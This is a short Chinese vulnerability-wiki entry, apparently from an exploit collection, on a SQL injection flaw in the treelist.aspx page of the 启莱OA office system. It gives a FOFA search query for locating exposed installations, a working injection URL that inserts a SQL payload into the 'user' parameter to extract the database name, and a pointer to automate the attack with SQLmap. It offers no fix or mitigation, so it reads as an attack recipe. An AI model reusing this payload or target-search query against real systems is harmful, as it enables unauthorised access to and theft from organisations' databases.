启莱OA treelist.aspx SQL注入漏洞.md
1.14 KB / 2021-07-04 06:01:08
# 启莱OA treelist.aspx SQL注入漏洞
## 漏洞描述
启莱OA treelist.aspx文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息
## 漏洞影响
> [!NOTE]
>
> 启莱OA
## FOFA
> [!NOTE]
>
> app="启莱OA"
## 漏洞复现
登录页面如下
![](http://wikioss.peiqi.tech/vuln/ql-1.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
存在SQL注入的文件为 treelist.aspx
```
http://xxx.xxx.xxx.xxx/client/treelist.aspx?user=' and (select db_name())>0--&pwd=1
```
![](http://wikioss.peiqi.tech/vuln/ql-4.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
使用SQLmap对参数 user 进行注入
![](http://wikioss.peiqi.tech/vuln/ql-5.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)